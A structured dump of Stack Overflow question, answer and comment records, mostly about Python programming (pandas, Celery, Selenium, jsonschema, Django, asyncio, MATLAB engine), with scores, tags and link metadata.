tags question: http://stackoverflow.com/q/48711044
tags question: http://stackoverflow.com/q/48685588
tags question: http://stackoverflow.com/q/48749972
tags question: http://stackoverflow.com/q/48757154
tags question: http://stackoverflow.com/q/48654217
tags question: http://stackoverflow.com/q/48710535
tags question: http://stackoverflow.com/q/48739374
tags question: http://stackoverflow.com/q/48695783
tags question: http://stackoverflow.com/q/48724447
tags question: http://stackoverflow.com/q/48674542
tags question: http://stackoverflow.com/q/48683661
tags question: http://stackoverflow.com/q/48652737
tags question: http://stackoverflow.com/q/48668993
tags question: http://stackoverflow.com/q/48675899
tags question: http://stackoverflow.com/q/48794016
tags question: http://stackoverflow.com/q/48799185
tags question: http://stackoverflow.com/q/48673674
tags question: http://stackoverflow.com/q/48672663
tags question: http://stackoverflow.com/q/48751175
tags question: http://stackoverflow.com/q/48729472
tags question: http://stackoverflow.com/q/48657765
tags question: http://stackoverflow.com/q/48744165
tags question: http://stackoverflow.com/q/48650808
tags question: http://stackoverflow.com/q/48769599
tags question: http://stackoverflow.com/q/48761703
tags question: http://stackoverflow.com/q/48715330
tags question: http://stackoverflow.com/q/48690777
tags question: http://stackoverflow.com/q/48646669
tags question: http://stackoverflow.com/q/48728932
tags question: http://stackoverflow.com/q/48721750
tags question: http://stackoverflow.com/q/48748305
tags question: http://stackoverflow.com/q/48711920
tags question: http://stackoverflow.com/q/48792249
tags question: http://stackoverflow.com/q/48797712
tags question: http://stackoverflow.com/q/48676407
tags question: http://stackoverflow.com/q/48729174
tags question: http://stackoverflow.com/q/48734712
tags question: http://stackoverflow.com/q/48796282
tags question: http://stackoverflow.com/q/48770052
tags question: http://stackoverflow.com/q/48790750
tags question: http://stackoverflow.com/q/48695269
tags question: http://stackoverflow.com/q/48782677
tags question: http://stackoverflow.com/q/48647268

http://stackoverflow.com/comment/84468374
has text: Are you sure consumer_complaints is a table within the consumer_complaints database? Is your current directory the one in which that database is in?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48734455
score: 0

http://stackoverflow.com/comment/84315439
type: AnswerComment
comment on: http://stackoverflow.com/a/48648783
score: 0
has text: Thanks for this - it was a combination of a memory error and not using numpy for the issue.
type: Comment

http://stackoverflow.com/comment/84303223
has text: Thank you. Earlier another colleague said it is possible (https://stackoverflow.com/questions/48649787/in-python-how-scrape-page-what-content-changes-on-each-link/48650212?noredirect=1#comment84302632_48650212 )
comment on: http://stackoverflow.com/q/48652482
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48671928
has comment: http://stackoverflow.com/comment/105162860
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48671629
has comment: http://stackoverflow.com/comment/108562458
answers question: http://stackoverflow.com/q/48671629
has body: You might consider jsonschema to validate your JSON. Here is a program that validates your example. To extend this to your "20 keys", add the key names to the "required" list. import jsonschema import json schema = { "type": "object", "properties": { "customer": { "type": "object", "required": ["lastName", "firstName", "age"]}}, "required": ["service", "customer"] } json_document = '''{ "service" : "Some Service Name", "customer" : { "lastName" : "Kim", "firstName" : "Bingbong", "age" : "99" } }''' try: # Read in the JSON document datum = json.loads(json_document) # And validate the result jsonschema.validate(datum, schema) except jsonschema.exceptions.ValidationError as e: print("well-formed but invalid JSON:", e) except json.decoder.JSONDecodeError as e: print("poorly-formed text, not JSON:", e) Resources: https://pypi.python.org/pypi/jsonschema http://json-schema.org/example1.html
type: Answer
has comment: http://stackoverflow.com/comment/108513248
has comment: http://stackoverflow.com/comment/108562398
has comment: http://stackoverflow.com/comment/100667619
upvote count: 17
score: 17

http://stackoverflow.com/comment/84370824
has text: *Some* sample will be enough. Four different people have given various hints and asked for various things, and all you can do is repeat yourself?
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/48686258

http://stackoverflow.com/comment/84503590
score: 0
comment on: http://stackoverflow.com/q/48749668
has text: Done. As you can see, it doesn't significantly change the run time...
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48652700
upvote count: 1
has comment: http://stackoverflow.com/comment/84306417
has body: The original code is needlessly buggy and insecure ("insecure" because you're having arguments, which would otherwise be data, concatenated into a string which is parsed as code). Don't use a shell here. Instead, have the Python interpreter do the same job you'd otherwise be asking a shell to do but with explicit named FIFOs. import subprocess, tempfile, threading, os def writeToFifo(filename, content): with open(filename, 'w') as f: f.write(content) redirect_cmd = ['bash', '-c', 'exec &gt;"$1"; shift; exec "$@"', "_"] fifo_dir = tempfile.mkdtemp() try: query_fifo = os.path.join(fifo_dir, 'query_fifo') subject_fifo = os.path.join(fifo_dir, 'subject_fifo') os.mkfifo(query_fifo) os.mkfifo(subject_fifo) query_thread = threading.Thread(target=writeToFifo, args=(query_fifo, seq)) subject_thread = threading.Thread(target=writeToFifo, args=(subject_fifo, seq)) cmd_list = [ 'blastn', '-query', query_fifo, '-subject', subject_fifo, '-reward','2', '-max_target_seqs','1', '-penalty','-4', '-word_size','7',#'-ungapped', '-evalue','1','-strand',"plus", #'-soft_masking','false' ,'-dust','no', '-outfmt','6 sstart send qstart qend score length mismatch gaps gapopen nident' ] query_thread.start() subject_thread.start() p = Popen(cmd_list, stdout=PIPE, stderr=PIPE) out,err = p.communicate() finally: shutil.rmtree(fifo_dir)
has comment: http://stackoverflow.com/comment/84306315
has comment: http://stackoverflow.com/comment/84340456
has comment: http://stackoverflow.com/comment/84336709
score: 1
has comment: http://stackoverflow.com/comment/84340496
accepted answer of: http://stackoverflow.com/q/48649988
has comment: http://stackoverflow.com/comment/84340231
has comment: http://stackoverflow.com/comment/84306062
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84336626
has comment: http://stackoverflow.com/comment/84336552
has comment: http://stackoverflow.com/comment/84306080
type: Answer
has comment: http://stackoverflow.com/comment/84336475
has comment: http://stackoverflow.com/comment/84336599
has comment: http://stackoverflow.com/comment/84307101
has comment: http://stackoverflow.com/comment/84336370
answers question: http://stackoverflow.com/q/48649988

http://stackoverflow.com/comment/84542692
type: QuestionComment
comment on: http://stackoverflow.com/q/48770531
has text: @MarcinOrlowski But in any case I am asking more about "how to do it proper file locking on nfs " than my specific case. Since tests pass on mac and not on linux, I assume the problem must be in the peculiarity of locking on nfs rather than my code. And to deal with these peculiarities I should follow some guidelines / best practices. So my question is, how do people do it? Which guidelines do they follow?
type: Comment
score: 1

http://stackoverflow.com/a/48664259
answers question: http://stackoverflow.com/q/48664007
type: Answer
has comment: http://stackoverflow.com/comment/84331373
has comment: http://stackoverflow.com/comment/84326380
has comment: http://stackoverflow.com/comment/87375094
has body: Just replace \s+(?!\s|^500) with ; in multiline mode. \s+(?!\s|^500) matches one or more space characters that are not followed by another space or by a substring 500 at the begin of line. Example: https://regex101.com/r/OJsAob/2
score: 0

http://stackoverflow.com/comment/84351053
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48675759
has text: Yes, that's the one I mean, and yes, it's O(n).

http://stackoverflow.com/q/48652282
tagged with: celery
type: Question
type: AnsweredQuestion
has title: Celery - adding 7000 tasks with apply_async takes 12 seconds
has comment: http://stackoverflow.com/comment/84435772
has answer: http://stackoverflow.com/a/48663417
has body: I am using Celery to distribute tasks to multiple servers. For some reason, adding 7,000 tasks to the queue is incredibly slow and appears to be CPU bound. It takes 12 seconds to execute the code below, which is just adding tasks to the queue. start = time.time() for url in urls: fetch_url.apply_async((url.strip(),), queue='fetch_url_queue') print time.time() - start Switching between brokers (have tried redis, RabbitMQ, and pyamqp) does not have any significant effect. Reducing the number of workers (which are each running on their own server, separate from the master server which adds the tasks) does not have any significant effect. The URLs being passed are very small, each just about 80 characters. The latency between any two given servers in my configuration is sub-millisecond (&lt;1ms). I must be doing something wrong. Surely Celery must be able to add 7,000 tasks to the queue in less time than several seconds.
score: 3
has comment: http://stackoverflow.com/comment/84348195
answer count: 1
downvote count: 0
favorite count: 0
tagged with: eventlet
has comment: http://stackoverflow.com/comment/84356729
tagged with: redis
accepted answer: http://stackoverflow.com/a/48663417
tagged with: python
tagged with: rabbitmq
upvote count: 3
has comment: http://stackoverflow.com/comment/84371194

http://stackoverflow.com/q/48752319
tagged with: selenium
has title: Message: stale element reference: element is not attached to the page document python Dropdown menu
upvote count: 1
type: Question
tagged with: staleelementreferenceexception
score: 1
has body: ## RJ: import libraries ## ## RJ: END OF COMMENT ## from urllib.request import urlopen from bs4 import BeautifulSoup import csv import time from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.support.ui import Select from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC ##RJ specify the url quote_page = 'https://www.onlineprinters.fr/p/autocollants-offset-a8' ##RJ query the website and return the html to the variable 'page' page = urlopen(quote_page) ##RJ parse the html using beautiful soup and store in variable `soup` soup = BeautifulSoup(page, 'html.parser') driver = webdriver.Chrome('C:\\Users\\rashm\\Desktop\\WebScraper\\chromedriver.exe') driver.get("https://www.onlineprinters.fr/p/autocollants-offset-a8") inputPapier = driver.find_element_by_class_name('wsmds_input') cookiepopup = driver.find_element_by_id('ws_cookie_layer_button') ## RJ: Using a series of actions ## actions = ActionChains(driver) actions.click(cookiepopup) actions.click(inputPapier) actions.perform() selectPaper = Select(driver.find_element_by_name('input_var_PAKA840_1_1')).options driver.execute_script("document.getElementsByName('input_var_PAKA840_1_1')[0].style.display = 'block';") optionsPaper=[] for option in selectPaper: optionsPaper.append(option.text) selectTirage = Select(driver.find_element_by_name('input_var_PAKA840_2_1')).options driver.execute_script("document.getElementsByName('input_var_PAKA840_2_1')[0].style.display = 'block';") optionsTirage=[] for option in selectTirage: optionsTirage.append(option.text) selectDelai = Select(driver.find_element_by_name('input_var_ZAKA834Y_1_3')).options driver.execute_script("document.getElementsByName('input_var_ZAKA834Y_1_3')[0].style.display = 'block';") optionsDelai=[] for option in selectDelai: optionsDelai.append(option.text) selectVerification = Select(driver…
has comment: http://stackoverflow.com/comment/84508117
downvote count: 0
tagged with: dropdown
linked to: http://stackoverflow.com/q/44838538
favorite count: 0
linked to: http://stackoverflow.com/q/27003423
has comment: http://stackoverflow.com/comment/84507412
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has comment: http://stackoverflow.com/comment/84516609
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/48653254
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48652950
answers question: http://stackoverflow.com/q/48652950
has comment: http://stackoverflow.com/comment/84305806
type: AcceptedAnswer
downvote count: 0
has body: You can use regex in a function and apply if on findin Series: c = iter(range(1, 5)) def func(x): ind = next(c) return [i.start() for i in re.finditer(what[ind], x)] findin.apply(func) Out: 1 [1, 4] 2 [0, 2] 3 [1] 4 [1] dtype: object
type: Answer
score: 1

http://stackoverflow.com/comment/84468747
type: AnswerComment
has text: `min(100, g + 3)`??
type: Comment
comment on: http://stackoverflow.com/a/48734780
score: 2

http://stackoverflow.com/comment/84633677
has text: That really works! you really are a genius! Thank you so much for this help
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48779636
type: Comment

http://stackoverflow.com/a/48710956
answers question: http://stackoverflow.com/q/48710912
upvote count: 2
type: Answer
score: 2
has body: thought \w matched any letter, digit, or underscore Yes but \w does not match spaces eg. 1 2 3 r'(\w+)(\w+)(\w+)' Your pattern is looking for any letter digit or underscore, 3 times or more
downvote count: 0

http://stackoverflow.com/q/48719148
score: -1
linked to: http://stackoverflow.com/q/20639180
downvote count: 2
upvote count: 1
accepted answer: http://stackoverflow.com/a/48719209
answer count: 1
has comment: http://stackoverflow.com/comment/84437249
has comment: http://stackoverflow.com/comment/84437268
tagged with: counting
tagged with: list-comprehension
has body: I have tried to find an explanation but couldn't, so my apologies if this is a silly question. Having data x: x = [(1, {'gender': 'male'}), (2, {'gender': 'female'}), (3, {'gender': 'male'}), (4, {'gender': 'female'}), (5, {'gender': 'male'})] ... A plausible solution for counting the occurrences of each gender would be: from collections import Counter Counter([d['gender'] for n, d in x)]) Returning: Counter({'female':2, 'male':3}) Now I am trying to understand how "d['gender'] for n, d " works within "Counter([d['gender'] for n, d in x)]". What exactly is "n" in this case? Many thanks for any pointers.
has comment: http://stackoverflow.com/comment/84437387
type: AnsweredQuestion
tagged with: dictionary-comprehension
has comment: http://stackoverflow.com/comment/84437366
favorite count: 0
has title: Understanding counter and dictionary comprehensions in python
has answer: http://stackoverflow.com/a/48719209
type: Question
has comment: http://stackoverflow.com/comment/84437455
tagged with: python
tagged with: dictionary

http://stackoverflow.com/a/48738030
type: AcceptedAnswer
downvote count: 0
has body: To convert from lon, lat to projected coordinates you call the basemap instance with the lon,lat values, m = Basemap(...) xpt,ypt = m(lon,lat) To convert the projected coordinates back to lon, lat coordinates, you use the inverse lon,lat = m(xpt,ypt, inverse=True) We may modify the example from here to show the clicked coordinates on screen. from mpl_toolkits.basemap import Basemap import matplotlib.pyplot as plt import numpy as np # setup Lambert Conformal basemap. m = Basemap(width=12000000,height=9000000,projection='lcc', resolution='c',lat_1=45.,lat_2=55,lat_0=50,lon_0=-107.) m.drawmapboundary(fill_color='azure') m.fillcontinents(color='sandybrown',lake_color='azure') parallels = np.arange(0.,81,10.) m.drawparallels(parallels,labels=[False,True,True,False]) meridians = np.arange(10.,351.,20.) m.drawmeridians(meridians,labels=[True,False,False,True]) # plot blue dot on Boulder, colorado and label it as such. lon, lat = -104.237, 40.125 # Location of Boulder # convert to map projection coords. # Note that lon,lat can be scalars, lists or numpy arrays. xpt,ypt = m(lon,lat) # convert back to lat/lon lonpt, latpt = m(xpt,ypt,inverse=True) point, = m.plot(xpt,ypt,'bo') # plot a blue dot there # put some text next to the dot, offset a little bit # (the offset is in map projection coordinates) annotation = plt.annotate('Boulder (%5.1fW,%3.1fN)' % (lon, lat), xy=(xpt,ypt), xytext=(20,35), textcoords="offset points", bbox={"facecolor":"w", "alpha":0.5}, arrowprops=dict(arrowstyle="-&gt;", connectionstyle="arc3")) def onclick(event): ix, iy = event.xdata, event.ydata xpti, ypti = m(ix, iy,inverse=True) string = '(%5.1fW,%3.1fN)' % (xpti, ypti) print(string) annotation.xy = (ix, iy) point.set_data([ix], [iy]) annotation.set_text(string) plt.gcf().canvas.draw_idle() cid = plt.gcf().canvas.mpl_connect("button_press_event", onclick) plt.show()
type: Answer
has comment: http://stackoverflow.com/comment/84519463
score: 2
accepted answer of: http://stackoverflow.com/q/48728932
upvote count: 2
has comment: http://stackoverflow.com/comment/84945053
answers question: http://stackoverflow.com/q/48728932

http://stackoverflow.com/q/48768377
score: -1
has answer: http://stackoverflow.com/a/48779657
has answer: http://stackoverflow.com/a/48779980
tagged with: odoo-10
upvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48960586
tagged with: python
possible better answer: http://stackoverflow.com/a/48779657
accepted answer: http://stackoverflow.com/a/48816739
answer count: 4
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48816739
downvote count: 1
has body: How to remove the module name in number 1 and change it to other default name plus the id like So015 in sale order in odoo 10
type: Question
has title: Odoo10 - How to remove the module name in form view ? (Refer below picture)

http://stackoverflow.com/comment/84429057
score: 0
type: Comment
has text: @DYZ: Thanks. I wasn't sure that it should be used as an index since it doesn't have unique values.
type: AnswerComment
comment on: http://stackoverflow.com/a/48714802

http://stackoverflow.com/q/48757969
has title: How to access class variable in method when class and class method have same variable with name also?
downvote count: 1
has answer: http://stackoverflow.com/a/48760137
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84517531
has comment: http://stackoverflow.com/comment/84516992
tagged with: python-2.7
score: 0
has body: I am unable to access class variable in method of same class and my method also having same name of class variable class x(object): x = 10 # class variable def method1(self,v1): x = v1 # method variable # here I want to access class variable
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48759083
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/84357018
has text: I tried, but it didn|t work out. I can't open the path.
type: AnswerComment
comment on: http://stackoverflow.com/a/48658713
score: 0
type: Comment

http://stackoverflow.com/q/48683649
has answer: http://stackoverflow.com/a/48683753
answer count: 5
tagged with: python
has answer: http://stackoverflow.com/a/48684265
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48684265
score: 2
has title: Increment counter the first time a number is reached
has body: This is probably a very silly question. But, I'll still go ahead and ask. How would you increment a counter only the first time a particular value is reached? For example, if I have step below as a column of the df and would want to add a counter column called 'counter' which increments the first time the 'step' column has a value of 6
type: Question
has answer: http://stackoverflow.com/a/48684007
possible better answer: http://stackoverflow.com/a/48684272
tagged with: counter
has answer: http://stackoverflow.com/a/48684272
upvote count: 3
tagged with: pandas
downvote count: 1
has answer: http://stackoverflow.com/a/48683834
favorite count: 0

http://stackoverflow.com/a/48790993
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/48790118
answers question: http://stackoverflow.com/q/48790118
has body: save operates on the variables contained in MATLAB's workspace, and Python does not share scope with the MATLAB engine instance(s). The matlab.engine instance, however, does have a workspace attribute, defined as follows: Python dictionary containing references to MATLAB variables. You can assign data to, and get data from, a MATLAB variable through the workspace. The name of each MATLAB variable you create becomes a key in the workspace dictionary. The keys in workspace must be valid MATLAB identifiers (for example, you cannot use numbers as keys). Which you can use to place variables in MATLAB's scope. This code, for example: import matlab.engine eng = matlab.engine.start_matlab() x = [1, 2, 3] eng.save('test.mat', 'x') Fails as above: Error using save Variable 'x' not found. Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "C:\Users\excaza\AppData\Roaming\Python\Python36\site-packages\matlab\engine\matlabengine.py", line 78, in __call__ _stderr, feval=True).result() File "C:\Users\excaza\AppData\Roaming\Python\Python36\site-packages\matlab\engine\futureresult.py", line 68, in result return self.__future.result(timeout) File "C:\Users\excaza\AppData\Roaming\Python\Python36\site-packages\matlab\engine\fevalfuture.py", line 82, in result self._result = pythonengine.getFEvalResult(self._future,self._nargout, None, out=self._out, err=self._err) matlab.engine.MatlabExecutionError: Variable 'x' not found. But works fine once we copy x into the workspace dict: import matlab.engine eng = matlab.engine.start_matlab() x = [1, 2, 3] eng.workspace['x'] = x eng.save('test.mat', 'x')
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84473118
type: QuestionComment
has text: How do you intend to map old_col_names -> new_col_names without any of: ordinal position, dictionary map, or lambda function?
comment on: http://stackoverflow.com/q/48736697
score: 0
type: Comment

http://stackoverflow.com/q/48731703
upvote count: 2
has answer: http://stackoverflow.com/a/49413360
has title: Abstract user django migration error
accepted answer: http://stackoverflow.com/a/49413360
tagged with: django
type: Question
type: AnsweredQuestion
tagged with: django-admin
tagged with: django-authentication
tagged with: django-models
downvote count: 0
answer count: 1
favorite count: 0
has body: I am trying to add two fields to user model of Django. Migrations and models are: from django.contrib.auth.models import AbstractUser class User(AbstractUser): is_prostudent = models.BooleanField( default=False ) is_teacher = models.BooleanField( default=False) My migration looks like this: # -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2018-02-11 11:07 from __future__ import unicode_literals import django.contrib.auth.models import django.contrib.auth.validators from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('auth', '0008_alter_user_username_max_length'), ('students', '0005_auto_20180118_1508'), ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')), ('first_name', models.CharField(blank=True, max_length=30, verbose_name='first name')), ('last_name', models.CharField(blank=True, max_length=30, verbose_name='last name')), ('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')), ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), ('is_active', models.BooleanField(default=True, help_text='Designates whether…
tagged with: python
score: 2

http://stackoverflow.com/comment/84373691
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48687810
has text: When using for loop. I am getting 'str' object does not support item assignment

http://stackoverflow.com/a/53199504
upvote count: 5
accepted answer of: http://stackoverflow.com/q/48767058
score: 5
answers question: http://stackoverflow.com/q/48767058
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Although the accepted answer in and of itself is correct. The Python built-in idna codec is working. I tested it in 3.5.2 and 3.7.0. The real problem is that the example is wrong headed. The idna codec is strictly for DNS hostnames not URLs. Original example that doesn't work: &gt;&gt;&gt; url1= 'http://xn--espaol-zwa.come' &gt;&gt;&gt; r= url1.encode('utf-8') &gt;&gt;&gt; r.decode('idna') 'http://xn--espaol-zwa.come' Original example that doesn't work after removing the URL prefix: &gt;&gt;&gt; url1= 'xn--espaol-zwa.come' &gt;&gt;&gt; r= url1.encode('utf-8') &gt;&gt;&gt; r.decode('idna') 'español.come' It is import to remember idna is only for DNS hostnames and it only allows a restricted set of characters. It should not be applied to URLs or entire strings with a hostname embedded in them. There is a built-in Python punycode codec that is even more restricted and only properly handles a punycode encoded string with the xn-- prefix removed. I believe the punycode is the underlying codec used by the idna codec and that the punycode codec is not useable at a higher level without scaffolding code to feed it only the hostname part with a xn-- prefix and and can only decode the part after the xn-- prefix not the xn--hostname-xyz.com full hostname or the xn--hostname-xyz just hostname-xyz.

http://stackoverflow.com/comment/84393021
type: QuestionComment
has text: You don't need to return `mappings` since dicts are mutable.
score: 0
comment on: http://stackoverflow.com/q/48697047
type: Comment

http://stackoverflow.com/comment/84576122
has text: The program *stops* because you're not looping anywhere after you click on the `next_link`. Think where you can add a loop so that the part of code you want executes for all the pages.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48787141

http://stackoverflow.com/comment/84334298
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48660308
has text: the code is working :) Thank you for taking the effort to explain it to me ! Appreciate it :)

http://stackoverflow.com/comment/84390684
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48693058
has text: If that command generates a Plotly plot then it can't be displayed in Spyder. The problem is Plotly generates a mix of HTML and Javascript, and that can't be shown in Spyder consoles, sorry.
type: Comment

http://stackoverflow.com/a/48664182
answers question: http://stackoverflow.com/q/48663999
downvote count: 0
type: Answer
score: 3
upvote count: 3
has body: With pandas library you can use groupby and make a custom aggregate function that just concatenates each category's Data &gt;&gt;&gt; import pandas as pd &gt;&gt;&gt; data = [['A', 'Once upon a time.'], ['A', 'There was a king.'], ['A', 'who ruled a great and glorious nation.'], ['B', 'He loved each of them dearly. '], ['B', 'One day, when the young ladies were of age to be married. '], ['B', 'terrible, three-headed dragon laid. '], ['C', 'It is so difficult to deny '], ['C', 'the reality']] &gt;&gt;&gt; df = pd.DataFrame(data=data, columns=['Category','Data']) &gt;&gt;&gt; df Category Data 0 A Once upon a time. 1 A There was a king. 2 A who ruled a great and glorious nation. 3 B He loved each of them dearly. 4 B One day, when the young ladies were of age to ... 5 B terrible, three-headed dragon laid. 6 C It is so difficult to deny 7 C the reality &gt;&gt;&gt; df.groupby('Category').agg({'Data': lambda x : ' '.join(x)}) Data Category A Once upon a time. There was a king. who ruled ... B He loved each of them dearly. One day, when t... C It is so difficult to deny the reality
has comment: http://stackoverflow.com/comment/84326235

http://stackoverflow.com/q/48729915
type: Question
has answer: http://stackoverflow.com/a/52211226
has answer: http://stackoverflow.com/a/48729963
tagged with: image
possible better answer: http://stackoverflow.com/a/54707705
has answer: http://stackoverflow.com/a/54707705
upvote count: 53
downvote count: 0
has title: How to read images into a script without using using imageio or scikit image?
favorite count: 0
has body: I am trying to read a png image in python. The imread function in scipy is being deprecated and they recommend using imageio library. However, I am would rather restrict my usage of external libraries to scipy, numpy and matplotlib libraries. Thus, using imageio or scikit image is not a good option for me. Are there any methods in python or scipy, numpy or matplotlib to read images, which are not being deprecated?
score: 53
answer count: 9
has answer: http://stackoverflow.com/a/48729973
has answer: http://stackoverflow.com/a/63782658
has answer: http://stackoverflow.com/a/58339781
has answer: http://stackoverflow.com/a/56021297
accepted answer: http://stackoverflow.com/a/48729963
has answer: http://stackoverflow.com/a/60069566
tagged with: python
linked to: http://stackoverflow.com/q/10417108
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/60754448
linked to: http://stackoverflow.com/q/41357641
tagged with: scipy

http://stackoverflow.com/q/48718826
type: Question
has comment: http://stackoverflow.com/comment/84436655
score: -2
has body: Just think that I have a game and I am creating Client class for every connection. And Client Class stores user preferences (like selected country). And when user is disconnected from the game class deletes. I need to do something like this. My code: import asyncio import logging import sys SERVER_ADDRESS = ('localhost', 56346) logging.basicConfig( level=logging.DEBUG, format='%(name)s: %(message)s', stream=sys.stderr, ) log = logging.getLogger('main') event_loop = asyncio.get_event_loop() class Client(): def __init__(this): this.something = '' class Server(asyncio.Protocol): def connection_made(self, transport): self.transport = transport self.address = transport.get_extra_info('peername') self.log = logging.getLogger( 'EchoServer_{}_{}'.format(*self.address) ) self.log.debug('connection accepted') def data_received(self, data): self.log.debug('received {!r}'.format(data)) self.transport.write(data) self.log.debug('sent {!r}'.format(data)) def connection_lost(self, error): if error: self.log.error('ERROR: {}'.format(error)) else: self.log.debug('closing') super().connection_lost(error) factory = event_loop.create_server(Server, *SERVER_ADDRESS) server = event_loop.run_until_complete(factory) log.debug('starting up on {} port {}'.format(*SERVER_ADDRESS)) # Enter the event loop permanently to handle all connections. try: event_loop.run_forever() finally: log.debug('closing server') server.close() event_loop.run_until_complete(server.wait_closed()) log.debug('closing event loop') event_loop.close()
upvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48719682
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84437183
tagged with: python-asyncio
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84437231
tagged with: python
downvote count: 2
has title: How to Create a Class for Every Asyncio Connection
has comment: http://stackoverflow.com/comment/84436700

http://stackoverflow.com/a/48691598
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48691572
score: 6
type: Answer
upvote count: 6
has body: Here is one way df.data.eq('START').cumsum() Out[74]: 0 1 1 1 2 1 3 1 4 1 5 1 6 2 7 2 8 2 9 2 Name: data, dtype: int32 After assign it back df['number']=df.data.eq('START').cumsum() df Out[76]: data number 0 START 1 1 blah 1 2 blah 1 3 blah 1 4 blah 1 5 END 1 6 START 2 7 blah 2 8 blah 2 9 END 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48691572

http://stackoverflow.com/comment/84532879
score: 0
comment on: http://stackoverflow.com/a/48748400
type: AnswerComment
type: Comment
has text: I made a new ticket here: https://stackoverflow.com/questions/48766362/selenium-switch-to-iframe-to-locate-elements

http://stackoverflow.com/comment/84338210
has text: Yeah, and the `if i in temp`
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48669456
type: AnswerComment

http://stackoverflow.com/a/48785860
answers question: http://stackoverflow.com/q/48784633
has comment: http://stackoverflow.com/comment/84576087
upvote count: 3
has comment: http://stackoverflow.com/comment/84573960
has comment: http://stackoverflow.com/comment/84576044
accepted answer of: http://stackoverflow.com/q/48784633
type: AcceptedAnswer
downvote count: 0
has body: If for first level are same combinations of another levels like in sample is possible use reindex to MultiIndex in columns with div: #same as Maarten Fabré answer np.random.seed(42) from itertools import combinations #get combination of second level values c = pd.MultiIndex.from_tuples(list(combinations(df.index.levels[1], 2))) #reshape to unique columns of second level print (df['idx'].unstack(1)) lvl_2 a b c d lvl_1 lvl_3 first 2018-02-12 0.731994 0.601115 0.155995 0.969910 2018-02-13 0.950714 0.866176 0.156019 0.020584 2018-02-14 0.374540 0.058084 0.598658 0.708073 #reindex by both levels df1 = df['idx'].unstack(1).reindex(columns=c, level=0) print (df1) a b c b c d c d d lvl_1 lvl_3 first 2018-02-12 0.731994 0.731994 0.731994 0.601115 0.601115 0.155995 2018-02-13 0.950714 0.950714 0.950714 0.866176 0.866176 0.156019 2018-02-14 0.374540 0.374540 0.374540 0.058084 0.058084 0.598658 df2 = df['idx'].unstack(1).reindex(columns=c, level=1) print (df2) a b c b c d c d d lvl_1 lvl_3 first 2018-02-12 0.601115 0.155995 0.969910 0.155995 0.969910 0.969910 2018-02-13 0.866176 0.156019 0.020584 0.156019 0.020584 0.020584 2018-02-14 0.058084 0.598658 0.708073 0.598658 0.708073 0.708073 #divide with flatten MultiIndex df3 = df1.div(df2) df3.columns = df3.columns.map('/'.join) #reshape back and change order of levels, sorting indices df3 = df3.stack().reorder_levels([0,2,1]).sort_index() print (df3) lvl_1 lvl_3 first a/b 2018-02-12 1.217727 2018-02-13 1.097599 2018-02-14 6.448292 a/c 2018-02-12 4.692434 2018-02-13 6.093594 2018-02-14 0.625632 a/d 2018-02-12 0.754703 2018-02-13 46.185944 2018-02-14 0.528957 b/c 2018-02-12 3.853437 2018-02-13 5.551748 2018-02-14 0.097023 b/d 2018-02-12 0.619764 2018-02-13 42.079059 2018-02-14 0.082031 c/d 2018-02-12 0.160834 2018-02-13 7.579425 2018-02-14 0.845476 dtype: float64
type: Answer
score: 3

http://stackoverflow.com/a/48671032
answers question: http://stackoverflow.com/q/48670339
type: Answer
score: 6
has body: In this case, the problem is because runcall() is a method of a Profile class instance, not a module-level function (which is how your code is trying to use it). You need to construct an instance of one first, as shown in code snippet in the documentation. This seems to work (in Python 2.7.14): import cProfile def funct(a): print a pr = cProfile.Profile() pr.enable() pr.runcall(funct, "Hello")
downvote count: 0
upvote count: 6
type: AcceptedAnswer
